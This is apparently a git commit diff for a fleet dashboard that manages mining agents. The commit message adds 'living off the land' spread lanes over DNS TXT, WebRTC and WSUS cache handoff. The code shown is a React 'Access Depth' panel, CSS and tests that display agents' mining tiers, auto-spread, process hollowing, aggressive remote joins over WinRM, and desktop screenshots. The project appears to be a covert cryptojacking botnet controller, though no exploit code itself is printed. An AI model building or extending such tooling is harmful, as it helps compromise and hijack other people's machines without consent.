Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
AetherForge
2026-06-07 01:07:55 -07:00
parent 652356bfe6
commit 0be2de81a5
100 changed files with 3447 additions and 213 deletions

View File

@@ -0,0 +1,222 @@
.access-depth-panel {
margin-bottom: 1rem;
max-width: none;
}
.access-depth-header {
display: flex;
align-items: baseline;
gap: 0.75rem;
margin-bottom: 0.5rem;
}
.access-depth-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(11rem, 1fr));
gap: 0.65rem 1rem;
margin-bottom: 0.65rem;
}
.access-depth-section-title {
color: var(--neon-cyan);
font-weight: 700;
letter-spacing: 0.08em;
font-size: 0.66rem;
margin-bottom: 0.3rem;
text-transform: uppercase;
}
.access-depth-os-line {
color: #e8e8e8;
font-size: 0.76rem;
margin-bottom: 0.25rem;
}
.access-depth-probes {
display: flex;
flex-wrap: wrap;
gap: 0.25rem;
margin-bottom: 0.25rem;
}
.access-depth-probe {
font-size: 0.62rem;
font-family: var(--font-tech);
padding: 1px 5px;
border-radius: 3px;
border: 1px solid rgba(255, 255, 255, 0.12);
}
.access-depth-probe.ok {
color: var(--neon-green);
background: rgba(57, 255, 20, 0.08);
border-color: rgba(57, 255, 20, 0.25);
}
.access-depth-probe.no {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.04);
}
.access-depth-meta,
.access-depth-muted,
.access-depth-empty {
font-size: 0.68rem;
color: var(--text-muted);
}
.access-depth-empty {
font-style: italic;
}
.access-depth-join {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 0.35rem;
margin-top: 0.35rem;
font-size: 0.68rem;
color: var(--text-muted);
}
.access-depth-attempt-list {
list-style: none;
margin: 0;
padding: 0;
}
.access-depth-attempt-row {
display: flex;
flex-wrap: wrap;
align-items: baseline;
gap: 0.25rem 0.4rem;
font-size: 0.72rem;
padding: 0.1rem 0;
}
.access-depth-attempt-tier {
font-weight: 600;
}
.access-depth-phase {
font-size: 0.62rem;
color: var(--neon-violet, #b388ff);
text-transform: uppercase;
}
.access-depth-in-progress,
.access-depth-pending {
margin-top: 0.35rem;
font-size: 0.68rem;
color: var(--neon-amber, #ffb347);
}
.access-depth-onion-block {
border-top: 1px solid rgba(255, 255, 255, 0.06);
padding-top: 0.5rem;
}
.access-depth-onion-columns {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(14rem, 1fr));
gap: 0.75rem 1.25rem;
}
.access-depth-onion-subtitle {
font-size: 0.68rem;
color: var(--text-muted);
margin-bottom: 0.25rem;
}
.access-depth-onion-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.15rem;
}
.access-depth-onion-item {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 0.35rem;
font-size: 0.72rem;
}
.access-depth-onion-idx {
color: var(--text-muted);
min-width: 1.25rem;
}
.access-depth-onion-label {
color: #e8e8e8;
}
.access-depth-onion-item--skipped .access-depth-onion-label {
opacity: 0.55;
text-decoration: line-through;
}
.access-depth-tag {
font-size: 0.58rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 0 4px;
border-radius: 2px;
}
.access-depth-tag--active {
color: var(--neon-cyan);
border: 1px solid rgba(0, 245, 255, 0.35);
}
.access-depth-tag--skip {
color: var(--text-muted);
border: 1px solid rgba(255, 255, 255, 0.15);
}
.access-depth-tag--ok {
color: var(--neon-green);
border: 1px solid rgba(57, 255, 20, 0.3);
}
.access-depth-tag--fail {
color: #ff8866;
border: 1px solid rgba(255, 136, 68, 0.35);
}
.access-depth-tag--pending {
color: var(--neon-amber, #ffb347);
border: 1px solid rgba(255, 180, 60, 0.3);
}
.access-depth-source {
margin-left: 0.35rem;
color: var(--text-muted);
font-weight: 400;
text-transform: none;
letter-spacing: 0;
}
.access-depth-triple {
margin-top: 0.45rem;
font-size: 0.68rem;
color: var(--text-muted);
}
.access-depth-hint {
margin: 0.45rem 0 0;
font-size: 0.66rem;
color: var(--text-muted);
}
.access-depth-calibrate-link {
color: var(--neon-cyan);
text-decoration: none;
}
.access-depth-calibrate-link:hover {
text-decoration: underline;
}

View File

@@ -0,0 +1,172 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import { MemoryRouter } from 'react-router-dom';
import AccessDepthPanel from './AccessDepthPanel';
import type { Agent } from '../../types';
import {
buildAccessDepthModel,
parseAccessDepthDiagnostics,
parseAccessDepthServerPolicy,
} from '../../help/accessDepth';
vi.mock('../../api/client', () => ({
api: {
getConfig: vi.fn().mockResolvedValue({
server: {
lotl_onion_tiers: ['vuln_recon', 'docker', 'winrm'],
triple_onion_policy: {
recon_tiers: ['vuln_recon'],
deploy_lanes: ['docker', 'winrm'],
},
},
}),
},
}));
function mockAgent(overrides: Partial<Agent>): Agent {
return {
id: 'a1',
name: 'Node',
wallet: '',
ip: '10.0.0.5',
version: '1',
status: 'online',
cpu_cores: 8,
memory_gb: 16,
last_seen: '',
created_at: '',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
...overrides,
};
}
function renderPanel(agent: Agent, diagnostics?: ReturnType<typeof parseAccessDepthDiagnostics>) {
return render(
<MemoryRouter>
<AccessDepthPanel agent={agent} diagnostics={diagnostics} />
</MemoryRouter>,
);
}
describe('accessDepth helpers', () => {
it('parses mining diagnostics payload with probes and tier chain', () => {
const diag = parseAccessDepthDiagnostics({
lotl_tier: 'wsl',
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
tier_chain_skipped: ['exe_subprocess'],
environment_probes: { docker: true, wsl: true, pwsh: true, gpu: false },
lotl_attempts: [
{ tier: 'container', ok: false, error: 'no runtime', phase: 'mining' },
{ tier: 'wsl', ok: true, duration_ms: 900, phase: 'mining' },
],
});
expect(diag.lotl_tier).toBe('wsl');
expect(diag.tier_chain_skipped).toEqual(['exe_subprocess']);
expect(diag.environment_probes?.docker).toBe(true);
expect(diag.lotl_attempts).toHaveLength(2);
expect(diag.lotl_attempts?.[1].phase).toBe('mining');
});
it('buildAccessDepthModel for Windows agent with diagnostics', () => {
const agent = mockAgent({
platform: 'windows',
os_version: '10.0.26200',
arch: 'amd64',
lotl_tier: 'wsl',
join_lane: 'winrm',
agent_elevated: true,
capabilities: { auto_spread: true, hole_punch: false, mesh_p2p: true, remote_aggressive: true, process_hollowing: false, ai_enabled: false },
});
const model = buildAccessDepthModel(
agent,
parseAccessDepthDiagnostics({
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
tier_chain_skipped: ['exe_subprocess'],
lotl_attempts: [
{ tier: 'container', ok: false, error: 'blocked', phase: 'mining' },
{ tier: 'wsl', ok: true, phase: 'mining' },
],
environment_probes: { docker: false, wsl: true, pwsh: true },
}),
parseAccessDepthServerPolicy({ server: { lotl_onion_tiers: ['vuln_recon', 'docker'] } }),
);
expect(model.platformLabel).toBe('Windows');
expect(model.joinLane).toBe('winrm');
expect(model.succeeded).toHaveLength(1);
expect(model.failed).toHaveLength(1);
expect(model.miningOnion.find((r) => r.tier === 'exe_subprocess')?.status).toBe('skipped');
expect(model.spreadOnion).toHaveLength(2);
});
it('buildAccessDepthModel for Linux agent without diagnostics', () => {
const agent = mockAgent({
platform: 'linux',
join_lane: 'linux-lotl',
lotl_attempts: [{ tier: 'cpu_inprocess', ok: true, phase: 'mining' }],
});
const model = buildAccessDepthModel(agent);
expect(model.platformLabel).toBe('Linux');
expect(model.succeeded[0].tier).toBe('cpu_inprocess');
expect(model.miningOnion.length).toBeGreaterThan(0);
});
it('buildAccessDepthModel for macOS agent', () => {
const agent = mockAgent({ platform: 'darwin', os_version: '14.2' });
const model = buildAccessDepthModel(agent);
expect(model.platformLabel).toBe('macOS');
expect(model.osLine).toContain('macOS');
});
});
describe('AccessDepthPanel', () => {
afterEach(() => cleanup());
it('renders sections for Windows fixture', async () => {
renderPanel(
mockAgent({
platform: 'windows',
lotl_tier: 'wsl',
join_lane: 'winrm',
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
}),
parseAccessDepthDiagnostics({
environment_probes: { wsl: true, pwsh: true },
tier_chain_order: ['container', 'wsl'],
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
}),
);
expect(screen.getByText('ACCESS DEPTH')).toBeInTheDocument();
expect(screen.getByText('OS & posture')).toBeInTheDocument();
expect(screen.getByText('Active')).toBeInTheDocument();
expect(screen.getByText('Succeeded')).toBeInTheDocument();
expect(screen.getByText('Failed / in progress')).toBeInTheDocument();
expect(screen.getByText('Effective onion order')).toBeInTheDocument();
expect(await screen.findByText('WinRM')).toBeInTheDocument();
});
it('shows pending chain when tiers not yet attempted', () => {
renderPanel(
mockAgent({
platform: 'linux',
status: 'online',
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
}),
parseAccessDepthDiagnostics({
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
}),
);
expect(screen.getByText(/pending:/i)).toBeInTheDocument();
});
});

View File

@@ -0,0 +1,196 @@
import { useEffect, useMemo, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import {
buildAccessDepthModel,
parseAccessDepthServerPolicy,
type AccessDepthDiagnostics,
} from '../../help/accessDepth';
import type { Agent } from '../../types';
import { HelpTip } from '../HelpTip';
import JoinLaneBadge from './JoinLaneBadge';
import LotlTierBadge from './LotlTierBadge';
import './AccessDepthPanel.css';
import './LotlVisuals.css';
import './ReconVisuals.css';
interface Props {
agent: Agent;
diagnostics?: AccessDepthDiagnostics;
}
function OnionList({ rows, empty }: { rows: ReturnType<typeof buildAccessDepthModel>['miningOnion']; empty: string }) {
if (rows.length === 0) {
return <div className="access-depth-empty">{empty}</div>;
}
return (
<ol className="access-depth-onion-list">
{rows.map((row) => (
<li key={`${row.index}-${row.tier}`} className={`access-depth-onion-item access-depth-onion-item--${row.status}`}>
<span className="access-depth-onion-idx">{row.index}.</span>
<span className="access-depth-onion-label">{row.label}</span>
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
</li>
))}
</ol>
);
}
function AttemptMiniList({
rows,
empty,
}: {
rows: ReturnType<typeof buildAccessDepthModel>['succeeded'];
empty: string;
}) {
if (rows.length === 0) return <div className="access-depth-empty">{empty}</div>;
return (
<ul className="access-depth-attempt-list">
{rows.map((row, i) => (
<li key={`${row.tier}-${i}`} className="access-depth-attempt-row">
<span className={`lotl-attempt-icon ${row.ok ? 'ok' : 'fail'}`}>{row.ok ? '✓' : '✗'}</span>
<span className="access-depth-attempt-tier">{row.label}</span>
{row.phase && <span className="access-depth-phase">{row.phase}</span>}
{!row.ok && row.error && <span className="lotl-attempt-err">{row.error}</span>}
</li>
))}
</ul>
);
}
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
const [policyLoaded, setPolicyLoaded] = useState(false);
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
useEffect(() => {
let cancelled = false;
api
.getConfig()
.then((cfg) => {
if (!cancelled) {
setServerPolicy(parseAccessDepthServerPolicy(cfg));
setPolicyLoaded(true);
}
})
.catch(() => {
if (!cancelled) setPolicyLoaded(true);
});
return () => {
cancelled = true;
};
}, []);
const model = useMemo(
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
[agent, diagnostics, serverPolicy],
);
return (
<section className="access-depth-panel lotl-attempts-block" aria-label="Access depth">
<div className="access-depth-header">
<span className="lotl-attempts-title">
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
</span>
{!policyLoaded && <span className="access-depth-muted">loading policy</span>}
</div>
<div className="access-depth-grid">
<div className="access-depth-section">
<div className="access-depth-section-title">OS &amp; posture</div>
<div className="access-depth-os-line">{model.osLine}</div>
{model.probes.length > 0 && (
<div className="access-depth-probes">
{model.probes.map((p) => (
<span key={p.key} className={`access-depth-probe ${p.ok ? 'ok' : 'no'}`}>
{p.label}
</span>
))}
</div>
)}
{model.spreadCaps.length > 0 && (
<div className="access-depth-meta">
spread: {model.spreadCaps.join(', ')}
</div>
)}
{model.privilegeHints.length > 0 && (
<div className="access-depth-meta">
{model.privilegeHints.join(' · ')}
</div>
)}
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Active</div>
{model.activeTier ? (
<LotlTierBadge tier={model.activeTier} attempts={agent.lotl_attempts} variant="inline" />
) : (
<div className="access-depth-empty">No active mining tier</div>
)}
{model.joinLane ? (
<div className="access-depth-join">
join lane <JoinLaneBadge lane={model.joinLane} />
</div>
) : (
<div className="access-depth-muted">No join lane yet</div>
)}
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Succeeded</div>
<AttemptMiniList rows={model.succeeded} empty="No successful tier attempts" />
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Failed / in progress</div>
<AttemptMiniList rows={model.failed} empty="No failed attempts" />
{model.inProgressLabel && (
<div className="access-depth-in-progress">
trying <strong>{model.inProgressLabel}</strong>
</div>
)}
{model.pendingLabels.length > 0 && (
<div className="access-depth-pending">
pending: {model.pendingLabels.slice(0, 6).join(' → ')}
{model.pendingLabels.length > 6 ? ` +${model.pendingLabels.length - 6}` : ''}
</div>
)}
</div>
</div>
<div className="access-depth-section access-depth-onion-block">
<div className="access-depth-section-title">
Effective onion order
<span className="access-depth-source">({model.miningOrderSource})</span>
</div>
<div className="access-depth-onion-columns">
<div>
<div className="access-depth-onion-subtitle">Mining tiers</div>
<OnionList rows={model.miningOnion} empty="No mining tier chain" />
</div>
<div>
<div className="access-depth-onion-subtitle">
Spread contingency{' '}
<Link to="/settings" className="access-depth-calibrate-link">
Calibrate
</Link>
</div>
<OnionList rows={model.spreadOnion} empty="Default spread order" />
</div>
</div>
{model.tripleOnionSummary && (
<div className="access-depth-triple">
Triple onion: {model.tripleOnionSummary}
</div>
)}
<p className="access-depth-hint">
<HelpTip field="crucible_access_depth_calibrate" label="?" />{' '}
Calibrate <Link to="/settings">lotl_onion_tiers</Link> changes spread order on next agent reconnect.
</p>
</div>
</section>
);
}

View File

@@ -313,7 +313,7 @@ export default function CrucibleExpandedOps({
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
disabled={targets.length === 0}
title="Fleet health: restore hashing workload on selected online nodes"
onClick={() => {
const ids = targets.map((a) => a.id);
@@ -326,7 +326,7 @@ export default function CrucibleExpandedOps({
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
disabled={targets.length === 0}
title="Fleet health: power down hashing without disconnecting the agent"
onClick={() => {
const ids = targets.map((a) => a.id);

View File

@@ -43,7 +43,7 @@
height: 0.55rem;
border-radius: 50%;
flex-shrink: 0;
box-shadow: 0 0 6px var(--group-color, #0ff);
box-shadow: 0 0 6px var(--group-color, #00e8f5);
}
.fleet-group-chip-name {

View File

@@ -218,7 +218,7 @@
margin-bottom: 0.25rem;
}
.er-usd { opacity: 0.7; margin-left: 0.25rem; }
.er-highlight { color: var(--neon-cyan, #00f5ff); font-weight: 700; }
.er-highlight { color: var(--neon-cyan, #00e8f5); font-weight: 700; }
/* ── Fleet Health Card ────────────────────────────────────────────────────── */
.fleet-health-card {
@@ -300,9 +300,9 @@
}
.contrib-fill {
height: 100%;
background: var(--neon-cyan, #00f5ff);
background: var(--neon-cyan, #00e8f5);
border-radius: 4px;
box-shadow: 0 0 6px var(--neon-cyan, #00f5ff);
box-shadow: 0 0 6px var(--neon-cyan, #00e8f5);
transition: width 0.5s ease;
}
.contrib-hash, .contrib-pct { opacity: 0.75; font-size: 0.75rem; text-align: right; }
@@ -379,7 +379,7 @@
border-radius: 3px;
font-size: 0.82rem;
}
.lan-subnet { color: var(--neon-cyan, #00f5ff); font-size: 0.78rem; }
.lan-subnet { color: var(--neon-cyan, #00e8f5); font-size: 0.78rem; }
.lan-meta { display: flex; gap: 1rem; font-size: 0.76rem; opacity: 0.75; }
.lan-online { color: var(--neon-green, #39ff14); }
.lan-hash { font-family: var(--font-mono, monospace); }
@@ -388,7 +388,7 @@
.dash-mode-btn {
background: transparent;
border: 1px solid rgba(0,245,255,0.35);
color: var(--neon-cyan, #00f5ff);
color: var(--neon-cyan, #00e8f5);
font-family: monospace;
font-size: 0.78rem;
padding: 0.25rem 0.6rem;

View File

@@ -66,7 +66,7 @@
}
.agent-list-item.expanded {
border-color: rgba(0, 245, 255, 0.35);
border-color: rgba(0, 232, 245, 0.35);
}
.agent-list-expand {
@@ -86,9 +86,9 @@
padding: 0.1rem 0.45rem;
margin-right: 0.25rem;
border-radius: 4px;
background: rgba(0, 245, 255, 0.12);
color: var(--neon-cyan, #0ff);
border: 1px solid rgba(0, 245, 255, 0.25);
background: rgba(0, 232, 245, 0.12);
color: var(--neon-cyan, #00e8f5);
border: 1px solid rgba(0, 232, 245, 0.25);
}
.agent-list-notes-preview {

View File

@@ -9,6 +9,7 @@ interface Props {
filters: FleetFilterState;
onChange: (next: FleetFilterState) => void;
selectedCount: number;
selectedAgents?: Agent[];
onBulkAction: (action: string) => void;
onSelectAllFiltered?: () => void;
onCreateGroup?: () => void;
@@ -21,6 +22,7 @@ export default function FleetToolbar({
filters,
onChange,
selectedCount,
selectedAgents = [],
onBulkAction,
onSelectAllFiltered,
onCreateGroup,
@@ -112,17 +114,17 @@ export default function FleetToolbar({
<button
type="button"
className="btn btn-outline btn-sm"
disabled={bulkBusy}
disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')}
onClick={() => onBulkAction('screenshot')}
title="Capture desktop on the selected machine and download JPEG here"
>
Screenshot
</button>
)}
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button
type="button"
className="btn btn-sm"

View File

@@ -1,7 +1,7 @@
.syscheck-panel {
margin-top: 1rem;
padding: 1rem 1.1rem;
border: 1px solid rgba(0, 245, 255, 0.25);
border: 1px solid rgba(0, 232, 245, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.92);
max-height: 72vh;
@@ -20,7 +20,7 @@
.syscheck-header h3 {
margin: 0;
color: var(--accent-cyan, #00f5ff);
color: var(--accent-cyan, #00e8f5);
}
.syscheck-sub {
@@ -78,7 +78,7 @@
font-size: 0.78rem;
}
.syscheck-score {
color: #00f5ff;
color: #00e8f5;
font-weight: 600;
}
.syscheck-subhead {

View File

@@ -24,7 +24,7 @@ function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 {
const LEVEL_COLORS: Record<number, string> = {
4: '#39ff14', // neon green
3: '#00f5ff', // cyan
3: '#00e8f5', // cyan
2: '#ffb020', // amber
1: '#ff4466', // red
0: '#444', // grey

View File

@@ -42,6 +42,17 @@ describe('Recon badges', () => {
expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
});
it('JoinLaneBadge renders new spread tier labels', () => {
render(<JoinLaneBadge lane="dns_txt" />);
expect(screen.getByText('DNS TXT')).toBeInTheDocument();
cleanup();
render(<JoinLaneBadge lane="webrtc_mesh" />);
expect(screen.getByText('WebRTC mesh')).toBeInTheDocument();
cleanup();
render(<JoinLaneBadge lane="wsus_cache_peer" />);
expect(screen.getByText('WSUS cache')).toBeInTheDocument();
});
it('JoinLaneBadge renders docker lane label', () => {
render(<JoinLaneBadge lane="docker" />);
expect(screen.getByText('Docker')).toBeInTheDocument();